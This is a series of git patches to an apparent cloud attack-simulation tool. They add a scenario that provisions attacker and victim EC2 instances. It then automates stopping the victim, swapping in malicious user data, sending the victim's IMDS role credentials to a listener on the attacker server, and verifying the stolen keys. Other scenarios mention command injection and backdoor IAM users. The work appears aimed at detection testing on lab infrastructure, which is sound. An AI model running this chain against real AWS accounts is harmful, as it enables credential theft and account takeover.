diff --git a/core/aws-scenario-3-output.json b/core/aws-scenario-3-output.json new file mode 100644 index 0000000..a563303 --- /dev/null +++ b/core/aws-scenario-3-output.json @@ -0,0 +1,15 @@ +{ + "AMI ID": "ami-0eb9e8e8004581f2f", + "Attacker Server Instance ID": "i-0877167aef7ac90db", + "Attacker Server Public IP": "65.2.31.80", + "Attacker Server Role": "my-instance-profile-d35bf34", + "Key Pair Name": "my-key-pair-bd293a2", + "Region": "ap-south-1", + "Subnet ID": "subnet-0f82b1bdf83f603e7", + "Victim Server Instance ID": "i-0eee1fd0b30ce2200", + "Victim Server Public IP": "13.233.140.205", + "Victim Server Role": "my-instance-profile-2-b681d68", + "policy_name": "ec2-role-policy-afede80", + "role_name": "ec2-role-0860d0b", + "security_group_name": "web-sg-c2e6010" +} diff --git a/core/main.py b/core/main.py index cca6bf4..1231698 100644 --- a/core/main.py +++ b/core/main.py @@ -12,6 +12,7 @@ from scenarios.scenario_2.scenario_2 import scenario_2_execute from scenarios.scenario_2.scenario_2 import scenario_2_destroy from scenarios.scenario_3.scenario_3 import scenario_3_execute +from scenarios.scenario_4.scenario_4 import scenario_4_execute def loading_animation(): chars = "/—\\|" @@ -32,9 +33,9 @@ def select_cloud_provider(): print(colored("3. GCP", color="green")) while True: try: - choice = int(input(colored("Enter your choice (1/2/3): ", color="yellow"))) - if choice not in [1, 2, 3]: - raise ValueError(colored("Invalid choice. Please enter 1, 2, or 3.", color="red")) + choice = int(input(colored("Enter your choice (1/2/3/4): ", color="yellow"))) + if choice not in [1, 2, 3, 4]: + raise ValueError(colored("Invalid choice. Please enter 1, 2, 3, or 4.", color="red")) return choice except ValueError as e: print(e) @@ -44,11 +45,12 @@ def select_attack_scenario(cloud_provider): print(colored("1. Exploit Vulnerable Application, EC2 takeover, Credential Exfiltration & Anomalous Compute Provisioning", color="green")) print(colored("2. Rest API exploit - command injection, credential exfiltration from backend lambda and privilige escalation, rogue identity creation & persistence", color="green")) print(colored("3. Compromising a web app living inside a GKE Pod, access pod secret, escalate privilege, take over the cluster", color="green")) + print(colored("4. Exfiltrate EC2 role credentials using IMDSv2 with least privileged access", color="green")) while True: try: choice = int(input(colored("Enter your choice: ", color="yellow"))) - if choice not in [1, 2, 3]: - raise ValueError(colored("Invalid choice. Please enter 1 or 2.", color="red")) + if choice not in [1, 2, 3, 4]: + raise ValueError(colored("Invalid choice. Please enter 1, 2, 3 or 4.", color="red")) return choice except ValueError as e: print(e) @@ -75,6 +77,8 @@ def execute_scenario(x): scenario_2_execute() elif x == 3: scenario_3_execute() + elif x == 4: + scenario_4_execute() else: print("Invalid Scenario Selected") print(colored("Scenario executed successfully!", color="green")) @@ -96,6 +100,8 @@ def main(cloud_provider, action, simulation, scenario): execute_scenario(2) elif scenario_choice == 3: execute_scenario(3) + elif scenario_choice == 4: + execute_scenario(4) #print(colored("Scenario coming soon!", color="yellow")) elif action == 'status' and scenario == "scenario-1": subprocess.call("cd ./scenarios/scenario_1/infra/ && pulumi stack ls", shell=True) @@ -106,7 +112,10 @@ def main(cloud_provider, action, simulation, scenario): elif action == 'destroy' and scenario == "scenario-2": scenario_2_destroy() elif action == 'destroy' and scenario == "scenario-3": - subprocess.call("cd ./scenarios/scenario_3/infra && pulumi destroy", shell=True) + subprocess.call("cd ./scenarios/scenario_3/infra && pulumi destroy -s gcp-scenario-1", shell=True) + elif action == 'destroy' and scenario == "scenario-4": + subprocess.call("cd ./scenarios/scenario_4/infra && pulumi destroy -s aws-scenario-3", shell=True) + else: print('No options provided. --help to know more') diff --git a/scenarios/scenario_1/scenario_1.py b/scenarios/scenario_1/scenario_1.py index 7dfda33..9668901 100644 --- a/scenarios/scenario_1/scenario_1.py +++ b/scenarios/scenario_1/scenario_1.py @@ -49,16 +49,12 @@ def scenario_1_execute(): print(colored("Bringing up the Vulnerable Application", color="red")) loading_animation() - # Use tqdm as a context manager to create the progress bar sleep_duration = 300 with tqdm(total=sleep_duration, desc="Loading") as pbar: - # Loop until sleep_duration is reached while sleep_duration > 0: - # Sleep for a shorter interval to update the progress bar sleep_interval = min(1, sleep_duration) sleep(sleep_interval) - # Update the progress bar with the elapsed time pbar.update(sleep_interval) sleep_duration -= sleep_interval diff --git a/scenarios/scenario_2/scenario_2.py b/scenarios/scenario_2/scenario_2.py index 23ff35d..56abe7a 100644 --- a/scenarios/scenario_2/scenario_2.py +++ b/scenarios/scenario_2/scenario_2.py @@ -86,7 +86,7 @@ def scenario_2_execute(): pbar.update(sleep_interval) sleep_duration -= sleep_interval - subprocess.call("curl '"+API_GW_URL+"?query=ping'", shell=True) + #subprocess.call("curl '"+API_GW_URL+"?query=ping'", shell=True) #Backdoor IAM User print(colored("Creating a Backdoor User which can be used by the attacker", color="red")) diff --git a/scenarios/scenario_4/infra/Pulumi.yaml b/scenarios/scenario_4/infra/Pulumi.yaml new file mode 100644 index 0000000..f64eb40 --- /dev/null +++ b/scenarios/scenario_4/infra/Pulumi.yaml @@ -0,0 +1,12 @@ +name: infra +runtime: + name: python + options: + virtualenv: ../../../venv +description: A minimal AWS Python Pulumi program +config: + pulumi:tags: + value: + pulumi:template: "" + + diff --git a/scenarios/scenario_4/infra/__main__.py b/scenarios/scenario_4/infra/__main__.py new file mode 100644 index 0000000..30a2c4c --- /dev/null +++ b/scenarios/scenario_4/infra/__main__.py @@ -0,0 +1,189 @@ +import pulumi +import pulumi_aws as aws +import os +import sys +import subprocess + +def read_public_key(pub_key_path): + with open(pub_key_path, "r") as f: + public_key = f.read().strip() + + return public_key + +current = aws.get_region() + +key_pair = aws.ec2.KeyPair("my-key-pair", public_key=read_public_key("../../../id_rsa.pub")) + +ubuntu_ami = aws.ec2.get_ami( + filters=[ + aws.ec2.GetAmiFilterArgs( + name="name", + values=["ubuntu/images/hvm-ssd/ubuntu-focal-20.04-amd64-server-*"], + ), + aws.ec2.GetAmiFilterArgs( + name="virtualization-type", + values=["hvm"], + ), + ], + owners=["099720109477"], + most_recent=True, + +) + +# Create an IAM role for EC2 instance +role = aws.iam.Role("ec2-role", + assume_role_policy="""{ + "Version": "2012-10-17", + "Statement": [{ + "Effect": "Allow", + "Principal": { + "Service": "ec2.amazonaws.com" + }, + "Action": "sts:AssumeRole" + }] + }""" +) + +# Attach a policy to the role allowing necessary permissions +policy = aws.iam.RolePolicy("ec2-role-policy", + role=role.name, + policy="""{ + "Version": "2012-10-17", + "Statement": [ + { + "Sid": "VisualEditor0", + "Effect": "Allow", + "Action": [ + "ec2:StartInstances", + "ec2:StopInstances", + "ec2:ModifyInstanceAttribute" + + ], + "Resource": "*" + } + ] + }""" +) + +role_2 = aws.iam.Role("ec2-role-imdsv2", + assume_role_policy="""{ + "Version": "2012-10-17", + "Statement": [{ + "Effect": "Allow", + "Principal": { + "Service": "ec2.amazonaws.com" + }, + "Action": "sts:AssumeRole" + }] + }""" +) + +policy_2 = aws.iam.RolePolicy("server-role-policy", + role=role_2.name, + policy="""{ + "Version": "2012-10-17", + "Statement": [ + { + "Sid": "VisualEditor0", + "Effect": "Allow", + "Action": [ + "ec2:*", + "s3:*" + ], + "Resource": "*" + } + ] + }""" +) + +sg = aws.ec2.SecurityGroup("web-sg", + ingress=[ + { + "protocol": "tcp", + "fromPort": 8080, + "toPort": 8080, + "cidrBlocks": ["0.0.0.0/0"] + }, + { + "protocol": "tcp", + "fromPort": 22, + "toPort": 22, + "cidrBlocks": ["0.0.0.0/0"] + } + ], + egress=[{ + "protocol": "-1", + "fromPort": 0, + "toPort": 0, + "cidrBlocks": ["0.0.0.0/0"] + }] +) + +# User data script to be executed when the instance starts +user_data_script = """ +IyEvYmluL2Jhc2gKc3VkbyBhcHQgaW5zdGFsbCBhd3NjbGkgLXkKd2dldCAtUCAvaG9tZS91YnVudHUvIGh0dHBzOi8vbGFiLWZpbGVzLTAwZmZhYWJjYy5zMy5hbWF6b25hd3MuY29tL3VlYmEtbGFiL3NlcnZlci5weQpzdWRvIGNob3duIHVidW50dTp1YnVudHUgL2hvbWUvdWJ1bnR1L3NlcnZlci5weQp3Z2V0IC1QIC9ob21lL3VidW50dS8gaHR0cHM6Ly9sYWItZmlsZXMtMDBmZmFhYmNjLnMzLmFtYXpvbmF3cy5jb20vdWViYS1sYWIvdXNlcmRhdGEudHh0Cg== +""" + +instance_profile = aws.iam.InstanceProfile("my-instance-profile", + role=role.name +) + +instance_profile_2 = aws.iam.InstanceProfile("my-instance-profile-2", + role=role_2.name +) + +# Create an EC2 instance with user data +instance = aws.ec2.Instance("attacker", + instance_type="t2.micro", + ami=ubuntu_ami.id, + iam_instance_profile=instance_profile.name, + security_groups=[sg.name], + user_data=user_data_script, + key_name=key_pair.key_name +) + +instance1 = aws.ec2.Instance("imds-machine", + instance_type="t2.micro", + ami=ubuntu_ami.id, + iam_instance_profile=instance_profile_2.name, + security_groups=[sg.name], + key_name=key_pair.key_name) + + +# Export the public IP of the EC2 instance +print("Attacker Server Public IP") +pulumi.export("Attacker Server Public IP", instance.public_ip) + +print("Victim Server Public IP") +pulumi.export("Victim Server Public IP", instance1.public_ip) + +pulumi.export("role_name", role.name) + +# Export the policy name +pulumi.export("policy_name", policy.name) + +# Export the security group name +pulumi.export("security_group_name", sg.name) + +# Export the instance profile name +print("Attacker Server Role") +pulumi.export("Attacker Server Role", instance_profile.name) + +print("Victim Server Role") +pulumi.export("Victim Server Role", instance_profile_2.name) + +# Export the instance ID +print("Attacker Server Instance ID") +pulumi.export("Attacker Server Instance ID", instance.id) + +print("Victim Server Instance ID") +pulumi.export("Victim Server Instance ID", instance1.id) + +pulumi.export("AMI ID", ubuntu_ami.id) + +pulumi.export("Subnet ID", instance.subnet_id) + +pulumi.export("Key Pair Name", key_pair.key_name) + +pulumi.export("Region", current.name) + diff --git a/scenarios/scenario_4/scenario_4.py b/scenarios/scenario_4/scenario_4.py new file mode 100644 index 0000000..1b5149c --- /dev/null +++ b/scenarios/scenario_4/scenario_4.py @@ -0,0 +1,59 @@ +import os +import pyfiglet +import time +import subprocess +import json +from tqdm import tqdm +from time import sleep +from termcolor import colored +from core.helpers import generate_ssh_key +from core.helpers import loading_animation +from core.helpers import generate_ssh_key + +def scenario_4_execute(): + print("-"*30) + print(colored("Executing Scenraio 4 : Exfiltrate EC2 role credentials using IMDSv2 with least privileged access", color="red")) + loading_animation() + print("-"*30) + + print(colored("Rolling out Infra", color="red")) + loading_animation() + print("-"*30) + + file_path = "./core/aws-scenario-3-output.json" + if os.path.exists(file_path): + os.remove(file_path) + print("File '{}' found and deleted.".format(file_path)) + else: + print("File '{}' not found.".format(file_path)) + + generate_ssh_key() + + subprocess.call("cd ./scenarios/scenario_4/infra/ && pulumi up -s aws-scenario-3 -y", shell=True) + subprocess.call("cd ./scenarios/scenario_4/infra/ && pulumi stack -s aws-scenario-3 output --json >> ../../../core/aws-scenario-3-output.json", shell=True) + + with open("./core/aws-scenario-3-output.json", "r") as file: + data = json.load(file) + + ATTACKER_SERVER_PUBLIC_IP = data["Attacker Server Public IP"] + VICTIM_SERVER_PUBLIC_IP = data["Victim Server Public IP"] + ATTACKER_SERVER_INSTANCE_ID = data["Attacker Server Instance ID"] + VICTIM_SERVER_INSTANCE_ID = data["Victim Server Instance ID"] + SUBNET_ID = data["Subnet ID"] + AMI_ID = data["AMI ID"] + KEY_PAIR_NAME = data["Key Pair Name"] + REGION = data["Region"] + + sleep_duration = 30 + with tqdm(total=sleep_duration, desc="Loading") as pbar: + while sleep_duration > 0: + sleep_interval = min(1, sleep_duration) + sleep(sleep_interval) + + pbar.update(sleep_interval) + sleep_duration -= sleep_interval + + subprocess.call("ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@"+ATTACKER_SERVER_PUBLIC_IP+" 'cat /etc/hostname'", shell=True) + + + From d420e7672471b7d9b87a4ca61b02a77c4e3fdcc3 Mon Sep 17 00:00:00 2001 From: Harsha Koushik Date: Tue, 25 Jun 2024 16:20:47 +0530 Subject: [PATCH 05/76] Fix ascii cobra --- core/main.py | 4 ++-- scenarios/scenario_1/scenario_1.py | 19 ++----------------- 2 files changed, 4 insertions(+), 19 deletions(-) diff --git a/core/main.py b/core/main.py index 1231698..22dbdfa 100644 --- a/core/main.py +++ b/core/main.py @@ -86,7 +86,7 @@ def execute_scenario(x): print(colored("Error executing scenario:", color="red"), str(e)) def main(cloud_provider, action, simulation, scenario): - tool_name = "C N B A S" + tool_name = "C O B R A" print(scenario) print_ascii_art(tool_name) if cloud_provider == 'aws': @@ -112,7 +112,7 @@ def main(cloud_provider, action, simulation, scenario): elif action == 'destroy' and scenario == "scenario-2": scenario_2_destroy() elif action == 'destroy' and scenario == "scenario-3": - subprocess.call("cd ./scenarios/scenario_3/infra && pulumi destroy -s gcp-scenario-1", shell=True) + subprocess.call("cd ./scenarios/scenario_3/infra && pulumi destroy -s ", shell=True) elif action == 'destroy' and scenario == "scenario-4": subprocess.call("cd ./scenarios/scenario_4/infra && pulumi destroy -s aws-scenario-3", shell=True) diff --git a/scenarios/scenario_1/scenario_1.py b/scenarios/scenario_1/scenario_1.py index 9668901..a53cdcd 100644 --- a/scenarios/scenario_1/scenario_1.py +++ b/scenarios/scenario_1/scenario_1.py @@ -10,32 +10,17 @@ from core.helpers import loading_animation from core.report import gen_report -def generate_ssh_key(): - # Define the path to save the keys - key_path = os.path.expanduser("./id_rsa") - - # Check if SSH key already exists - if os.path.exists(key_path): - print("SSH key already exists. Deleting the existing key...") - os.remove(key_path) - - # Generate the SSH key pair - with open(os.devnull, 'w') as devnull: - subprocess.run(["ssh-keygen", "-t", "rsa", "-b", "4096", "-N", "", "-f", key_path], stdout=devnull, stderr=devnull) - print("SSH Key Pair generated successfully!") - - return key_path, key_path + ".pub" def scenario_1_execute(): print("-"*30) - print(colored("Executing Scenraio 1 : Exploit Vulnerable Application, EC2 takeover, Credential Exfiltration & Anomalous Compute Provisioning ", color="red")) + print(colored("Executing Scenario 1 : Exploit Vulnerable Application, EC2 takeover, Credential Exfiltration & Anomalous Compute Provisioning ", color="red")) generate_ssh_key() loading_animation() print("-"*30) print(colored("Rolling out Infra", color="red")) loading_animation() print("-"*30) - subprocess.call("pwd", shell=True) + file_path = "./core/aws-scenario-1-output.json" if os.path.exists(file_path): os.remove(file_path) From 157a2ce304fa20f0953e9ac54bdffda9b839fead Mon Sep 17 00:00:00 2001 From: Harsha Koushik <68949130+hkoushik@users.noreply.github.com> Date: Thu, 27 Jun 2024 14:29:11 +0530 Subject: [PATCH 06/76] update scenario-4 --- scenarios/scenario_4/infra/__main__.py | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-) diff --git a/scenarios/scenario_4/infra/__main__.py b/scenarios/scenario_4/infra/__main__.py index 30a2c4c..a87982d 100644 --- a/scenarios/scenario_4/infra/__main__.py +++ b/scenarios/scenario_4/infra/__main__.py @@ -100,8 +100,8 @@ def read_public_key(pub_key_path): ingress=[ { "protocol": "tcp", - "fromPort": 8080, - "toPort": 8080, + "fromPort": 8000, + "toPort": 8000, "cidrBlocks": ["0.0.0.0/0"] }, { @@ -121,7 +121,7 @@ def read_public_key(pub_key_path): # User data script to be executed when the instance starts user_data_script = """ -IyEvYmluL2Jhc2gKc3VkbyBhcHQgaW5zdGFsbCBhd3NjbGkgLXkKd2dldCAtUCAvaG9tZS91YnVudHUvIGh0dHBzOi8vbGFiLWZpbGVzLTAwZmZhYWJjYy5zMy5hbWF6b25hd3MuY29tL3VlYmEtbGFiL3NlcnZlci5weQpzdWRvIGNob3duIHVidW50dTp1YnVudHUgL2hvbWUvdWJ1bnR1L3NlcnZlci5weQp3Z2V0IC1QIC9ob21lL3VidW50dS8gaHR0cHM6Ly9sYWItZmlsZXMtMDBmZmFhYmNjLnMzLmFtYXpvbmF3cy5jb20vdWViYS1sYWIvdXNlcmRhdGEudHh0Cg== +IyEvYmluL2Jhc2gKc3VkbyBhcHQgdXBkYXRlCnN1ZG8gYXB0IGluc3RhbGwgYXdzY2xpIC15CndnZXQgLVAgL2hvbWUvdWJ1bnR1LyBodHRwczovL2xhYi1maWxlcy0wMGZmYWFiY2MuczMuYW1hem9uYXdzLmNvbS91ZWJhLWxhYi9zZXJ2ZXIucHkKc3VkbyBjaG93biB1YnVudHU6dWJ1bnR1IC9ob21lL3VidW50dS9zZXJ2ZXIucHkKd2dldCAtUCAvaG9tZS91YnVudHUvIGh0dHBzOi8vY29icmEtdG9vbC1maWxlcy5zMy5hcC1zb3V0aC0xLmFtYXpvbmF3cy5jb20vc2NlbmFyaW8tNC91c2VyZGF0YS50eHQK """ instance_profile = aws.iam.InstanceProfile("my-instance-profile", @@ -139,7 +139,8 @@ def read_public_key(pub_key_path): iam_instance_profile=instance_profile.name, security_groups=[sg.name], user_data=user_data_script, - key_name=key_pair.key_name + key_name=key_pair.key_name + ) instance1 = aws.ec2.Instance("imds-machine", @@ -157,8 +158,12 @@ def read_public_key(pub_key_path): print("Victim Server Public IP") pulumi.export("Victim Server Public IP", instance1.public_ip) +print("Attacker Server Role Name") pulumi.export("role_name", role.name) +print("Victim Server Role Name") +pulumi.export("victim_role_name", role_2.name) + # Export the policy name pulumi.export("policy_name", policy.name) From 7cdc066fe049fd1d4d84e70293bffb9ff350e9b4 Mon Sep 17 00:00:00 2001 From: Harsha Koushik <68949130+hkoushik@users.noreply.github.com> Date: Thu, 27 Jun 2024 14:29:55 +0530 Subject: [PATCH 07/76] Update scenario_4.py --- scenarios/scenario_4/scenario_4.py | 49 ++++++++++++++++++++++++++++-- 1 file changed, 46 insertions(+), 3 deletions(-) diff --git a/scenarios/scenario_4/scenario_4.py b/scenarios/scenario_4/scenario_4.py index 1b5149c..0d3eda8 100644 --- a/scenarios/scenario_4/scenario_4.py +++ b/scenarios/scenario_4/scenario_4.py @@ -43,8 +43,11 @@ def scenario_4_execute(): AMI_ID = data["AMI ID"] KEY_PAIR_NAME = data["Key Pair Name"] REGION = data["Region"] + VICTIM_SERVER_ROLE_NAME = data["victim_role_name"] - sleep_duration = 30 + ssh_cmd = '''f"ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP}"''' + + sleep_duration = 80 with tqdm(total=sleep_duration, desc="Loading") as pbar: while sleep_duration > 0: sleep_interval = min(1, sleep_duration) @@ -53,7 +56,47 @@ def scenario_4_execute(): pbar.update(sleep_interval) sleep_duration -= sleep_interval - subprocess.call("ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@"+ATTACKER_SERVER_PUBLIC_IP+" 'cat /etc/hostname'", shell=True) + #subprocess.call("ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@"+ATTACKER_SERVER_PUBLIC_IP+" 'cat /etc/hostname'", shell=True) + print(colored("Stopping the Remote Instance", color="red")) + loading_animation() + print("-"*30) + subprocess.call(f"ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP} 'aws ec2 stop-instances --instance-ids {VICTIM_SERVER_INSTANCE_ID} --region {REGION}'", shell=True) + sleep_duration = 60 + with tqdm(total=sleep_duration, desc="Loading") as pbar: + while sleep_duration > 0: + sleep_interval = min(1, sleep_duration) + sleep(sleep_interval) + + pbar.update(sleep_interval) + sleep_duration -= sleep_interval - + print(ATTACKER_SERVER_PUBLIC_IP) + ip_sed_command = f"sed -i -e 's/ipaddress/{ATTACKER_SERVER_PUBLIC_IP}/g' userdata.txt" + role_sed_command = f"sed -i -e 's/rolenamehere/{VICTIM_SERVER_ROLE_NAME}/g' userdata.txt" + subprocess.call(f"ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP} \"{ip_sed_command}\"", shell=True) + subprocess.call(f"ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP} \"{role_sed_command}\"", shell=True) + + subprocess.call(f"ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP} 'cat userdata.txt | base64 > ud.txt'", shell=True) + + print(colored("Modifying Userdata of the Instance", color="red")) + loading_animation() + print("-"*30) + subprocess.call(f"ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP} 'aws ec2 modify-instance-attribute --attribute userData --value file://ud.txt --instance-id {VICTIM_SERVER_INSTANCE_ID} --region {REGION}'", shell=True) + + print(colored("Starting server on port 8000 and listening for credentials", color="red")) + loading_animation() + print("-"*30) + subprocess.call(f"ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP} 'nohup python3 server.py > server.log 2>&1 &'",shell=True) + + print(colored("Starting the Victim Server", color="red")) + loading_animation() + print("-"*30) + subprocess.call(f"ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP} 'aws ec2 start-instances --instance-ids {VICTIM_SERVER_INSTANCE_ID} --region {REGION}'", shell=True) + + print(colored("Extracting the credential received on Attacker Server & Verifying the credential", color="red")) + loading_animation() + print("-"*30) + subprocess.call(f"ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP} 'cat data.txt | base64 -d > creds.json'", shell=True) + subprocess.call(f"ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP} 'export AWS_ACCESS_KEY_ID=$(cat creds.json | jq -r '.AccessKeyId') && export AWS_SECRET_ACCESS_KEY=$(cat creds.json | jq -r '.SecretAccessKey') && export AWS_SESSION_TOKEN=$(cat creds.json | jq -r '.Token')'", shell=True) + subprocess.call(f"ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP} 'aws sts get-caller-identity'", shell=True) From c2c49fb1def52480da16d9d01caa753a781d915e Mon Sep 17 00:00:00 2001 From: Harsha Koushik <68949130+hkoushik@users.noreply.github.com> Date: Thu, 27 Jun 2024 14:30:31 +0530 Subject: [PATCH 08/76] Update .gitignore --- .gitignore | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/.gitignore b/.gitignore index 9588c82..368836d 100644 --- a/.gitignore +++ b/.gitignore @@ -55,8 +55,10 @@ terraform.tfstate.backup *aws-scenario-1-output.json *aws-scenario-2-output.json +*aws-scenario-* +*gcp-scenario* *token.txt *cobra-as1-report.html *cobra-as2-report.html *cnbas-as1-report.html -*cnbas-as2-report.html \ No newline at end of file +*cnbas-as2-report.html From 1e8236f944dc1c48b82005f50449ed7c04706e90 Mon Sep 17 00:00:00 2001 From: Harsha Koushik <68949130+hkoushik@users.noreply.github.com> Date: Thu, 27 Jun 2024 14:32:01 +0530 Subject: [PATCH 09/76] scen4 --- core/aws-scenario-3-output.json | 15 --------------- 1 file changed, 15 deletions(-) delete mode 100644 core/aws-scenario-3-output.json diff --git a/core/aws-scenario-3-output.json b/core/aws-scenario-3-output.json deleted file mode 100644 index a563303..0000000 --- a/core/aws-scenario-3-output.json +++ /dev/null @@ -1,15 +0,0 @@ -{ - "AMI ID": "ami-0eb9e8e8004581f2f", - "Attacker Server Instance ID": "i-0877167aef7ac90db", - "Attacker Server Public IP": "65.2.31.80", - "Attacker Server Role": "my-instance-profile-d35bf34", - "Key Pair Name": "my-key-pair-bd293a2", - "Region": "ap-south-1", - "Subnet ID": "subnet-0f82b1bdf83f603e7", - "Victim Server Instance ID": "i-0eee1fd0b30ce2200", - "Victim Server Public IP": "13.233.140.205", - "Victim Server Role": "my-instance-profile-2-b681d68", - "policy_name": "ec2-role-policy-afede80", - "role_name": "ec2-role-0860d0b", - "security_group_name": "web-sg-c2e6010" -} From 5623597cefcfe4b702347c6cd1ddf00271386db1 Mon Sep 17 00:00:00 2001 From: Harsha Koushik <68949130+hkoushik@users.noreply.github.com> Date: Thu, 27 Jun 2024 14:32:20 +0530 Subject: [PATCH 10/76] Delete core/gcp-scenario-1-output.json --- core/gcp-scenario-1-output.json | 4 ---- 1 file changed, 4 deletions(-) delete mode 100644 core/gcp-scenario-1-output.json diff --git a/core/gcp-scenario-1-output.json b/core/gcp-scenario-1-output.json deleted file mode 100644 index 3415c24..0000000 --- a/core/gcp-scenario-1-output.json +++ /dev/null @@ -1,4 +0,0 @@ -{ - "cluster-endpoint": "34.29.234.219", - "cluster-name": "cluster-1" -} From 7fb3483e0028b01eea282fe61dc07f12d50b51ad Mon Sep 17 00:00:00 2001 From: Amit Schnitzer Date: Wed, 3 Jul 2024 20:27:32 +0300 Subject: [PATCH 11/76] Changin folder location to be absolute --- scenarios/scenario_1/scenario_1.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/scenarios/scenario_1/scenario_1.py b/scenarios/scenario_1/scenario_1.py index a53cdcd..552207c 100644 --- a/scenarios/scenario_1/scenario_1.py +++ b/scenarios/scenario_1/scenario_1.py @@ -21,7 +21,7 @@ def scenario_1_execute(): loading_animation() print("-"*30) - file_path = "./core/aws-scenario-1-output.json" + file_path = "/Users/aschnitzer/dev/cobra-tool/core/aws-scenario-1-output.json" if os.path.exists(file_path): os.remove(file_path) print("File '{}' found and deleted.".format(file_path)) From 35d25a6e6daa4e58f6e330a35f24ad7e709c77f2 Mon Sep 17 00:00:00 2001 From: Amit Schnitzer Date: Thu, 4 Jul 2024 16:50:39 +0300 Subject: [PATCH 12/76] Added absolute path tracking --- scenarios/scenario_1/scenario_1.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/scenarios/scenario_1/scenario_1.py b/scenarios/scenario_1/scenario_1.py index 552207c..9bb6d66 100644 --- a/scenarios/scenario_1/scenario_1.py +++ b/scenarios/scenario_1/scenario_1.py @@ -21,6 +21,9 @@ def scenario_1_execute(): loading_animation() print("-"*30) + current_directory = os.path.abspath('.') + print(f"Current directory absolute path: {current_directory}") + input("Press any key to continue...") file_path = "/Users/aschnitzer/dev/cobra-tool/core/aws-scenario-1-output.json" if os.path.exists(file_path): os.remove(file_path) From 40c06923401773fa80872ffed42bc922a2a7e367 Mon Sep 17 00:00:00 2001 From: Amit Schnitzer Date: Thu, 4 Jul 2024 17:07:42 +0300 Subject: [PATCH 13/76] Improving directory handling --- first-project/Pulumi.dev.yaml | 2 ++ first-project/Pulumi.yaml | 14 ++++++++++++++ scenarios/scenario_1/scenario_1.py | 9 ++++++--- 3 files changed, 22 insertions(+), 3 deletions(-) create mode 100644 first-project/Pulumi.dev.yaml create mode 100644 first-project/Pulumi.yaml diff --git a/first-project/Pulumi.dev.yaml b/first-project/Pulumi.dev.yaml new file mode 100644 index 0000000..1a38cef --- /dev/null +++ b/first-project/Pulumi.dev.yaml @@ -0,0 +1,2 @@ +config: + aws:region: us-east-1 diff --git a/first-project/Pulumi.yaml b/first-project/Pulumi.yaml new file mode 100644 index 0000000..65bbcfa --- /dev/null +++ b/first-project/Pulumi.yaml @@ -0,0 +1,14 @@ +name: first-project +runtime: yaml +description: A minimal AWS Pulumi YAML program +config: + pulumi:tags: + value: + pulumi:template: aws-yaml +outputs: + # Export the name of the bucket + bucketName: ${my-bucket.id} +resources: + # Create an AWS resource (S3 Bucket) + my-bucket: + type: aws:s3:Bucket diff --git a/scenarios/scenario_1/scenario_1.py b/scenarios/scenario_1/scenario_1.py index 9bb6d66..e551779 100644 --- a/scenarios/scenario_1/scenario_1.py +++ b/scenarios/scenario_1/scenario_1.py @@ -21,15 +21,18 @@ def scenario_1_execute(): loading_animation() print("-"*30) - current_directory = os.path.abspath('.') - print(f"Current directory absolute path: {current_directory}") + base_directory = os.path.abspath('.') + print(f"Current directory absolute path: {base_directory}") + sub_directory = "core" + file_name = "aws-scenario-1-output.json" input("Press any key to continue...") - file_path = "/Users/aschnitzer/dev/cobra-tool/core/aws-scenario-1-output.json" + file_path = os.path.join(base_directory, sub_directory, file_name) if os.path.exists(file_path): os.remove(file_path) print("File '{}' found and deleted.".format(file_path)) else: print("File '{}' not found.".format(file_path)) + input("Press any key to continue...") subprocess.call("cd ./scenarios/scenario_1/infra/ && pulumi up -s aws-scenario-1 -y", shell=True) subprocess.call("cd ./scenarios/scenario_1/infra/ && pulumi stack -s aws-scenario-1 output --json >> ../../../core/aws-scenario-1-output.json", shell=True) From 96b942efcd07bf498d3678cf456f3bbed4c76e6a Mon Sep 17 00:00:00 2001 From: Amit Schnitzer Date: Thu, 4 Jul 2024 18:04:47 +0300 Subject: [PATCH 14/76] cleaning debug steps --- scenarios/scenario_1/scenario_1.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/scenarios/scenario_1/scenario_1.py b/scenarios/scenario_1/scenario_1.py index e551779..489cfd1 100644 --- a/scenarios/scenario_1/scenario_1.py +++ b/scenarios/scenario_1/scenario_1.py @@ -22,10 +22,8 @@ def scenario_1_execute(): print("-"*30) base_directory = os.path.abspath('.') - print(f"Current directory absolute path: {base_directory}") sub_directory = "core" file_name = "aws-scenario-1-output.json" - input("Press any key to continue...") file_path = os.path.join(base_directory, sub_directory, file_name) if os.path.exists(file_path): os.remove(file_path) From 04422ba599f7eb51c6e4e558c0f931bfecde2827 Mon Sep 17 00:00:00 2001 From: Schnitz-man <18722911+amit-schnitzer@users.noreply.github.com> Date: Thu, 4 Jul 2024 18:26:05 +0300 Subject: [PATCH 15/76] Delete first-project/Pulumi.yaml --- first-project/Pulumi.yaml | 14 -------------- 1 file changed, 14 deletions(-) delete mode 100644 first-project/Pulumi.yaml diff --git a/first-project/Pulumi.yaml b/first-project/Pulumi.yaml deleted file mode 100644 index 65bbcfa..0000000 --- a/first-project/Pulumi.yaml 